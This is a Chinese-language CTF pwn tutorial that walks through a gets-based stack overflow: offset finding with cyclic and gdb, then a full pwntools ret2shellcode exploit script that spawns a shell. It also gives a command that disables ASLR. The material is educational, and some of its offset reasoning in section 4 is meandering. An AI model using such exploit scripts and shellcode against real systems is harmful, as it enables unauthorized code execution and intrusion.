从零实战栈溢出漏洞利用:基于CTF题目的PWN入门指南

从零实战栈溢出漏洞利用:基于CTF题目的PWN入门指南 1. 项目概述一次真实的PWN入门实战如果你对网络安全、CTF竞赛或者二进制安全感兴趣那么“栈溢出”这个词你一定不陌生。它就像是二进制世界里的一个经典“魔法”通过精心构造的输入数据就能让程序执行你想要的任意代码。听起来很酷对吧但很多初学者在第一次面对一个真实的、带有漏洞的二进制程序时往往会感到无从下手工具怎么用脚本怎么写思路是什么今天我就以BUUCTF平台上一个经典的栈溢出题目为例带你从零开始手把手完成一次完整的“拿shell”实战。我们的目标不仅仅是做出这道题更是要理解每一步背后的原理让你真正掌握栈溢出利用的核心技能而不仅仅是复制粘贴一段脚本。这次实战的核心是一个使用了不安全函数gets的程序。gets函数在C语言中可谓“臭名昭著”因为它从不检查输入的长度会一股脑地将用户输入全部塞进目标缓冲区直到遇到换行符或EOF为止。如果缓冲区的大小是固定的比如只有100字节而用户输入了200字节那么多出来的100字节就会覆盖掉缓冲区之后的内存区域。如果这个区域恰好存放着函数返回地址那么我们就获得了控制程序执行流程的能力。这就是栈溢出攻击的基本原理。在CTF的PWN类题目中这类漏洞是最基础、最常见的入口点。整个流程可以概括为分析程序 - 定位漏洞点 - 计算偏移量 - 构造Payload - 编写利用脚本 - 成功获取Shell。我们将使用pwntools这个强大的Python库来辅助我们完成自动化攻击。无论你是刚刚配置好Python环境的新手还是已经看过一些理论但缺乏实践的朋友跟着这篇教程一步步走下来你都将获得一次完整的、可复现的PWN初体验。记住我们的口号是不光要“会做”更要“懂为什么这么做”。2. 环境准备与目标分析2.1 实验环境搭建工欲善其事必先利其器。在进行漏洞利用之前我们需要一个稳定、一致的实验环境。这里我强烈推荐使用Linux系统无论是实体机、虚拟机如VMware安装Ubuntu还是WSLWindows Subsystem for Linux都能很好地满足需求。我个人的主力环境是Ubuntu 22.04 LTS以下工具和命令均以此为基础。首先我们需要安装必要的工具链调试与分析工具gdbGNU调试器动态分析程序的利器。通常系统已自带或可通过sudo apt install gdb安装。pwndbg/peda/gef这些都是增强gdb功能的插件能直观地显示寄存器、栈、代码等信息。我习惯使用pwndbg安装命令可以参考其GitHub仓库的说明通常是克隆后通过source命令加载。checksec一个用于检查程序安全属性的脚本通常集成在pwntools中或单独安装可以快速查看程序是否开启了栈保护CANARY、地址空间布局随机化ASLR、数据执行保护NX等。objdump和readelf用于静态分析程序查看汇编代码、节区信息等。它们属于binutils包一般系统已安装。Python与pwntools确保安装了Python3python3 --version检查。安装pwntools库pip3 install pwntools。这是我们的核心武器库它封装了与进程、网络、二进制数据交互的复杂操作让编写利用脚本变得异常简单。安装ROPgadget用于在二进制文件中搜索可用的gadget链对于绕过NX不可执行栈等防护很有用。安装命令pip3 install ROPgadget。注意在不同Linux发行版或Python环境下安装命令可能略有不同。如果遇到权限问题可以尝试使用pip3 install --user pwntools为用户本地安装。安装完成后在Python中运行from pwn import *不报错即表示成功。2.2 目标程序初步分析假设我们从BUUCTF平台下载到的题目文件名为pwnme。第一步不要急着运行先对它进行“体检”。在终端中执行file pwnme这条命令会告诉我们这个程序是32位还是64位的是动态链接还是静态链接的。例如输出可能是“ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ...”。这很重要因为32位和64位程序的函数调用约定、寄存器、栈布局都不同我们的利用方式也会有差异。接着使用checksec检查安全机制checksec pwnme或者使用pwntools的checksec功能from pwn import * context.binary ./pwnme print(context.binary.checksec())典型的输出可能如下Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments这是一个非常“友好”的状态No canary found栈上没有金丝雀Canary保护。这意味着我们可以肆意溢出不用担心触发栈保护错误。NX disabledNX不可执行保护被禁用。这意味着栈上的内存区域是可执行的。这是最传统、最简单的栈溢出利用场景我们可以直接把shellcode放在栈上并跳转过去执行。No PIE程序加载的基地址不是随机化的。这意味着每次运行函数和变量的地址都是固定的我们可以硬编码这些地址到我们的利用脚本中而不必担心每次地址都变化。看到这样的结果我们就可以初步判断这是一个经典的、无保护的栈溢出题目非常适合入门。接下来我们需要深入程序内部找到那个关键的漏洞点。3. 漏洞定位与原理深度剖析3.1 静态分析寻找脆弱的gets既然题目提示了gets函数我们的目标就很明确。使用反汇编工具查看程序的逻辑。我们可以用objdumpobjdump -d pwnme | less或者使用radare2、IDA Pro、Ghidra等更强大的反汇编器。对于初学者objdump和gdb组合已经足够。在反汇编代码中搜索gets的调用通常是callq getsplt。找到后观察它上下的代码。一个典型的漏洞函数可能长这样伪代码void vulnerable_function() { char buf[100]; gets(buf); // 危险不检查输入长度 puts(buf); }对应的汇编代码片段在main函数或某个子函数中你会看到在调用gets之前会有类似sub rsp, 0x70为局部变量分配栈空间和lea rax, [rbp-0x70]将缓冲区的地址加载到rax然后作为参数传递给gets的操作。我们的任务就是确定这个缓冲区buf距离保存的返回地址在x86-64中函数返回地址保存在rbp8的位置有多远。这个距离就是我们需要填充的“垃圾数据”的长度通常称为偏移量Offset。3.2 动态调试精确计算偏移量静态分析可以给我们一个大概的印象但精确的偏移量最好通过动态调试来确认。这里介绍两种最常用的方法模式字符串法和调试器观察法。方法一使用pwntools的cyclic模式字符串这是最高效、最准确的方法。pwntools的cyclic功能可以生成一段不会重复的、易于定位的字符串。编写一个简单的脚本向程序发送一个较长的cyclic字符串。from pwn import * context.binary ./pwnme p process(./pwnme) # 本地运行程序 # 生成一个200字节的模式字符串 pattern cyclic(200) p.sendline(pattern) p.interactive() # 或者等待程序崩溃运行这个脚本程序会因为栈溢出覆盖了返回地址而崩溃Segmentation fault。程序崩溃后寄存器rsp或rip指令指针的值会变成一个被我们覆盖的、无意义的地址。在gdb中运行程序并触发崩溃后查看rip的值。gdb ./pwnme run (python3 -c from pwn import *; print(cyclic(200))) # 程序崩溃后在gdb中执行 info registers rip假设rip的值是0x6161616c6161616b。然后使用cyclic的反查功能from pwn import * print(cyclic_find(0x6161616c6161616b))这个命令会输出一个数字比如120。这个数字的含义是在我们发送的模式字符串中从开头算起第120个字节开始的数据覆盖了返回地址。因此偏移量就是120。这意味着我们需要先填充120个字节的任意数据称为padding然后接下来的8个字节64位程序就是我们想要覆盖的返回地址。方法二在调试器中手动计算在gdb中在调用gets的函数入口处push rbp之后设置断点。b *vulnerable_function如果知道函数名或b *main。运行程序断下后单步执行ni直到执行完gets调用。观察栈布局。命令x/30gx $rsp可以显示栈顶附近的内存。找到缓冲区起始地址通常是$rbp-0x70之类的值和保存的rbp及返回地址的位置$rbp和$rbp8。计算差值($rbp8) - 缓冲区起始地址。这个差值就是偏移量。例如缓冲区在0x7fffffffe4a0rbp在0x7fffffffe510那么rbp8就是0x7fffffffe518。偏移量 0x7fffffffe518 - 0x7fffffffe4a0 0x78十进制就是120。与方法一结果一致。实操心得我强烈推荐使用方法一cyclic尤其是在比赛或快速解题时它几乎不会出错。方法二有助于你更深刻地理解栈帧结构适合学习阶段。务必确保你得到的偏移量是准确的这是成功利用的基础。4. 利用链构造与Shellcode编写4.1 确定攻击思路与可用“武器”现在我们知道填充120个字节后就能控制返回地址。接下来要决定让程序跳转到哪里去执行我们的代码。由于NX是关闭的栈可执行我们有两种主流思路跳转到栈上的Shellcode这是我们即将采用的方法。我们需要知道栈的地址然后将返回地址覆盖为栈上我们放置Shellcode的地址。Return-Oriented Programming (ROP)如果NX开启栈不可执行我们就需要利用程序中已有的代码片段gadget来拼接出我们想要的功能。本题不涉及但它是现代PWN的必备技能。为了跳转到栈上我们必须知道栈地址。在程序运行时栈地址是变化的因为ASLR但幸运的是我们之前用checksec看到PIE是关闭的这意味着代码段的地址是固定的。我们可以在程序的代码段里寻找一些指令这些指令能够将栈地址泄露出来或者能够将程序的控制流导向我们输入的缓冲区。常见的“武器”有puts、printf可以输出内存中的数据。如果我们能控制其参数让它输出某个保存在栈上的地址比如main函数的返回地址它指向__libc_start_main与libc基址有固定偏移我们就能计算出libc的基址进而调用system(“/bin/sh”)。这是更高级的技巧。gets、scanf可以读入数据到指定地址。如果我们可以控制其参数就能实现任意地址写。有用的Gadget如pop rdi; ret用于设置第一个参数、ret用于栈对齐等。对于本题这种“栈可执行、无PIE”的简单情况我们往往可以找到一种更直接的“武器”程序中可能有一段代码它会将用户输入复制到一个固定的、已知的地址。或者我们可以利用gets函数本身的行为——它会把我们的输入读到我们提供的缓冲区地址。如果我们能通过第一次溢出泄露出一个栈地址然后在第二次输入时将Shellcode布置在那个地址附近并跳转过去。但让我们再审视一下目标一个简单的、只有一次gets调用的程序。我们只有一次溢出的机会。在这种情况下一种经典的技巧是栈迁移Stack Pivot或直接硬编码一个大概率可用的栈地址进行盲打。然而对于入门教学BUUCTF的题目设计通常会更加友好它可能会在内存中某个固定地址如.bss段为我们准备一个可读可写可执行RWX的区域并且这个区域的地址是固定的因为No PIE。4.2 寻找固定地址与编写Shellcode我们需要用objdump或readelf查看程序的内存布局。readelf -S pwnme | grep -E ‘\.bss|\.data’或者用gdb查看gdb ./pwnme info files在输出中寻找具有“W”可写和“X”可执行权限的段。例如你可能会发现一个名为.shellcode的段或者.data、.bss段具有可执行权限这在现代系统中很少见但CTF题目中为了降低难度会这样设置。假设我们找到了一个固定地址0x601080它具有RWX属性。那么我们的攻击计划就变成了填充120字节的padding。将返回地址覆盖为0x601080。确保在0x601080这个地址处存放着我们想要执行的Shellcode。但是我们的输入是通过gets读入到栈上的缓冲区如何让Shellcode跑到0x601080去呢这就需要我们的输入内容本身除了padding和返回地址还要包含Shellcode并且我们需要让程序在执行完第一次gets后还能有第二次机会将0x601080地址处的数据当作代码执行。这通常意味着程序逻辑中不止一次调用gets或者存在其他漏洞可以让我们写入固定地址。让我们回到对程序的反汇编分析。仔细查看main函数或相关函数的流程。一个常见的简单题目模式是int main() { char buf1[100]; char buf2[100]; gets(buf1); // 第一次输入可以溢出覆盖返回地址 gets(buf2); // 第二次输入如果返回地址被我们控制程序可能已经跳走这行未必执行到。但关键在于我们或许可以利用第一次输入将返回地址覆盖为gets函数本身的地址或其PLT条目并设置好参数让它第二次读入时直接读到固定地址0x601080。 // ... 其他代码 }这引入了更复杂的ROP链构造。对于真正的“从零开始”入门题更可能的情况是程序在某个固定地址如.bss段已经预先写入或预留了一段空间并且这段空间可执行。我们的Shellcode可以通过一次gets溢出直接作为输入数据的一部分被放置在栈上。然后我们需要跳转到栈上的Shellcode而不是固定地址。这就回到了最初的问题我们需要一个栈地址。如果程序在输出时比如puts(buf)打印了缓冲区的内容而缓冲区里恰好有栈地址我们就能得到它。但很多简单题目没有这个输出。注意事项在实际做题时一定要耐心、仔细地逆向分析程序的所有逻辑。不要先入为主地认为只有一种解法。查看字符串引用rabin2 -z pwnme、函数调用图理解整个程序的数据流和控制流。这道题的关键很可能就隐藏在一个看似无关的变量初始化或者一次额外的内存拷贝中。假设经过深入分析我们发现程序的确只有一次gets且没有输出也没有明显的固定可执行地址。那么在Linux的旧版本或特定配置下栈地址的随机化ASLR可能不够强或者题目环境关闭了ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space。我们可以尝试爆破Brute Force一个大概的栈地址。由于栈通常在高位地址区域如0x7fffffffxxxx我们可以尝试覆盖返回地址为0x7fffffffdead这样的地址。但这种方法成功率低且不优雅。鉴于这是一个教学向的入门题我们基于一个更合理的假设来继续题目设计为栈可执行并且我们通过某种方式比如程序本身的某条指令能获得一个指向我们输入缓冲区的指针或者缓冲区地址相对固定。例如在gets之后程序可能将buf的地址赋值给了一个全局变量而这个全局变量的值我们可以通过覆盖其他数据来猜测或计算。为了简化教学我们直接进入下一阶段假设我们已经通过调试知道了我们输入的缓冲区在栈上的起始地址是0x7fffffffe4a0每次运行可能变化但ASLR关闭时固定。那么我们的Shellcode就可以放在padding之后而返回地址就指向这个Shellcode的起始地址。但这里有个问题我们的输入是从0x7fffffffe4a0开始的填充120字节后从第121字节开始覆盖返回地址。如果我们把Shellcode放在padding之前开头那么它的地址就是0x7fffffffe4a0。如果我们把Shellcode放在返回地址之后那么它的地址就需要是0x7fffffffe4a0 120 8 0x7fffffffe518。我们需要根据实际情况调整。一个更稳健的做法是使用NOP雪橇NOP Sled。我们在Shellcode前面放置大量0x90NOP指令意为“什么都不做执行下一条指令”。这样只要返回地址落在这一片0x90中的任何一个位置程序就会一路“滑行”到我们的Shellcode并执行。4.3 编写ShellcodeShellcode是一段用于打开一个shell的机器码。我们不必自己写pwntools提供了方便的生成功能。from pwn import * context.arch ‘amd64’ # 根据目标程序架构设置这里是64位 shellcode asm(shellcraft.sh()) # 生成一个执行execve(‘/bin/sh’, 0, 0)的shellcode print(len(shellcode)) # 查看shellcode长度通常44字节左右这段shellcode非常精简。我们需要确保它能够被完整地放入缓冲区并且不会包含空字节\x00因为gets函数会在遇到空字节时停止读取但gets是读到换行符strcpy等函数会因空字节终止。pwntools生成的shellcode通常已经避免了空字节。现在我们可以规划最终的Payload结构了。假设我们决定将Shellcode放在padding之后、返回地址之前并且使用栈地址0x7fffffffe4a0作为返回地址指向我们输入的缓冲区开头。但这样不行因为前120字节是paddingShellcode被顶到了后面。所以我们需要让Shellcode在更前面。更合理的Payload结构是[ NOP Sled (比如90字节) ] [ Shellcode (44字节) ] [ Padding (直到填满120字节偏移) ] [ 返回地址 (指向NOP Sled中的某个地址) ]计算NOP Sled (90) Shellcode (44) 134字节。这已经超过了偏移量120。所以我们需要减少NOP Sled或者将Shellcode放在返回地址之后。方案AShellcode在返回地址之后[ Padding (120字节) ] [ 返回地址 (指向栈上某个我们猜测的、存放后续Shellcode的地址例如 buf_addr 200) ] [ 一些填充 ] [ NOP Sled ] [ Shellcode ]这需要我们能准确预测buf_addr200这个地址难度较大。方案BShellcode在返回地址之前利用缓冲区足够大 如果缓冲区实际大小比如200字节大于我们计算的偏移量120字节我们可以把Shellcode放在缓冲区的开头部分。[ NOP Sled Shellcode ] [ Padding (补足到120字节) ] [ 返回地址 (指向缓冲区的开头即NOP Sled起始地址) ]假设NOP Sled Shellcode共100字节那么Padding只需要20字节就能达到120字节的偏移。这是最理想的情况。我们需要确认缓冲区是否真的有那么大。回顾我们计算偏移量的过程我们通过覆盖返回地址崩溃计算出偏移是120。这意味着从缓冲区开始到返回地址的距离是120字节。如果缓冲区本身只有100字节那么从第101字节开始我们就已经在覆盖栈上的其他数据比如保存的rbp直到第120字节才开始覆盖返回地址。所以缓冲区大小 偏移量。因此方案B要求缓冲区大小 Shellcode长度 必要的NOP Sled这样Shellcode才能完全容纳在缓冲区内且不被溢出破坏。在实际题目中缓冲区定义可能为char buf[112];偏移量计算出来是120。那么缓冲区只有112字节距离返回地址还有8字节这8字节就是保存的rbp值。这种情况下Shellcode44字节可以完全放在buf[0]到buf[43]而buf[44]到buf[111]我们填充为垃圾数据然后覆盖rbp8字节最后覆盖返回地址8字节。所以Payload结构为[ Shellcode (44字节) ] [ ‘A’ * (112 - 44) ] [ 伪造的rbp (8字节可以是任意值如‘AAAAAAA’) ] [ 返回地址 (指向buf的起始地址) ]总计44 (112-44) 8 8 120 8等等这里需要仔细计算。从buf开始到返回地址的偏移是120字节。buf本身占112字节。之后是8字节的保存的rbp属于上一个栈帧。之后才是8字节的返回地址。 所以buf[112]到buf[119]这8字节对应的是保存的rbp。buf[120]到buf[127]对应返回地址。 因此我们的Payload应该是[ Shellcode (44字节) ] [ ‘A’ * (112 - 44) ] [ ‘B’ * 8 ] [ 返回地址 ]其中‘A’*(112-44)填满buf剩余空间‘B’*8覆盖旧的rbp返回地址覆盖原返回地址。5. 完整利用脚本编写与调试5.1 编写Python利用脚本基于上述分析假设缓冲区112字节偏移120栈可执行无ASLR我们来编写完整的pwntools脚本。我们需要知道buf的地址。在关闭ASLR的情况下这个地址每次运行是固定的。我们可以通过调试获取。首先用gdb调试在gets函数调用前断下查看buf的地址。gdb ./pwnme b *mainXX # 设置在gets调用前 r # 程序运行断下后查看存储buf地址的寄存器通常是rdi或rsi取决于调用约定 info registers rdi假设我们得到buf地址为0x7fffffffe4a0。现在编写脚本exp.py#!/usr/bin/env python3 from pwn import * # 设置目标程序架构和日志级别 context.arch ‘amd64’ context.log_level ‘debug’ # 本地运行程序 p process(‘./pwnme’) # 如果是远程题目使用 p remote(‘node4.buuoj.cn’, 28999) # 生成shellcode shellcode asm(shellcraft.sh()) print(f“Shellcode length: {len(shellcode)}“) # 计算padding buf_size 112 offset_to_ret 120 # 填充buf的剩余部分 padding1_len buf_size - len(shellcode) # 112 - 44 68 # 覆盖rbp的部分 padding2_len 8 # 构造payload payload shellcode # 44字节放在buf开头 payload b’A’ * padding1_len # 68字节填满buf payload b’B’ * padding2_len # 8字节覆盖保存的rbp payload p64(0x7fffffffe4a0) # 8字节覆盖返回地址指向buf开头 # 发送payload p.sendline(payload) # 交互模式拿到shell后可以手动输入命令 p.interactive()5.2 调试与问题排查运行脚本python3 exp.py。你可能会遇到以下问题及解决方法程序崩溃但没有拿到shell最可能的原因是返回地址不对。栈地址0x7fffffffe4a0可能因环境差异而不同。解决使用gdb附加gdb -p pid或在脚本中开启gdb调试。p gdb.debug(‘./pwnme’, gdbscript’’‘ b *mainXX # 在gets返回后、函数返回前设断点 c ’’)运行脚本当gdb弹出时在断点处查看栈内存x/20gx $rsp确认buf的实际地址。或者让程序崩溃查看rip寄存器它应该指向我们覆盖的地址附近。调整脚本中的返回地址。Shellcode执行失败可能是Shellcode本身在某些环境下有问题或者栈空间不可执行但我们checksec显示NX disabled。也可能是栈地址没对齐64位系统要求栈地址16字节对齐。解决在返回地址前加一个ret指令的地址gadget来调整栈对齐。先用ROPgadget找ret指令地址ROPgadget --binary ./pwnme --only ‘ret’。假设找到0x400556。那么Payload中的返回地址部分可以改为p64(0x400556) p64(buf_addr)。这样程序会先执行ret再跳转到我们的Shellcode有时能解决对齐问题。输入包含坏字符某些字符如\x00空字节、\x0a换行、\x0d回车可能会被gets或后续处理函数截断或修改导致Payload不完整。解决gets遇到换行符\x0a会停止读取所以我们的Payload中不能有\x0a。pwntools生成的shellcode通常已避免。使用cyclic测试时如果发现崩溃点不是预期的4字节或8字节片段可能就是遇到了坏字符。需要调整Shellcode或编码方式。远程打不通本地能通远程服务器可能开启了ASLR导致栈地址随机。解决如果题目设计如此那么这种简单的跳栈Shellcode的方法就无效了。必须采用其他方法如泄露地址或ROP。这超出了本题“从零开始”的范围但却是PWN学习的必经之路。通常需要利用程序中的输出函数如puts泄露一个libc地址然后计算system和/bin/sh的地址最后构造ROP链调用system(“/bin/sh”)。5.3 最终脚本优化与自动化考虑到环境差异一个更健壮的本地利用脚本可能会集成自动获取地址的功能。但对于这道入门题我们的核心是理解流程。成功的标志是运行脚本后终端弹出一个新的$或#提示符可以执行whoami、ls等命令。如果一切顺利你将看到类似下面的输出[] Starting local process ‘./pwnme’: pid 12345 [DEBUG] Sent 0x80 bytes: 00000000 31 f6 48 bf 2f 62 69 6e 2f 73 68 00 57 54 5f 6a │1·H·│/bin│/sh·│WT_j│ ... (shellcode) 41 41 41 41 41 41 41 41 42 42 42 42 42 42 42 42 │AAAA│AAAA│BBBB│BBBB│ a0 e4 ff ff ff 7f 00 00 │····│····│ 00000080 [*] Switching to interactive mode $ whoami ctf $ ls flag.txt pwnme $ cat flag.txt flag{this_is_your_first_shell}恭喜你成功拿到了Shell6. 总结与进阶思考通过这个完整的实战我们走通了一个最简单的栈溢出利用流程分析保护、定位漏洞、计算偏移、构造PayloadShellcode、编写脚本、调试获取Shell。这几乎是所有PWN入门者的第一课。回顾一下关键点信息收集file、checksec、objdump/IDA分析是第一步决定了攻击的基本面。偏移计算使用cyclic模式字符串是最高效准确的方法务必掌握。利用链构造根据保护机制NX, PIE, Canary选择不同方案。本题是最简单的“栈可执行无地址随机化”。调试技巧gdb/pwndbg动态调试是解决问题的关键要学会下断点、查看内存和寄存器。脚本编写pwntools极大简化了利用过程sendline、interactive、p64/p32等函数要熟练使用。实操心得在实际做题或审计中遇到的情况远比本例复杂。你可能会遇到需要绕过Canary的情况通过泄露或覆盖特定值或者NX开启需要ROP或者PIE开启需要泄露基址。每一类保护都有对应的绕过技巧它们像一层层铠甲需要你组合使用不同的“武器”来击破。从这道题出发建议你的下一步学习路径是Canary绕过 - 泄露libc地址的ROP - 利用文件结构体FSOP等高级技巧。每学一种就去找相应的CTF题目练习积累经验。最后记住一个原则理解远比工具使用更重要。知道cyclic_find为什么能算出偏移比会用这个命令更重要知道ret2shellcode为什么在NX关闭时有效比复制一段脚本更重要。多问几个“为什么”你的PWN技能才会扎实。希望这篇超详细的指南能成为你二进制安全之路的一块坚实垫脚石。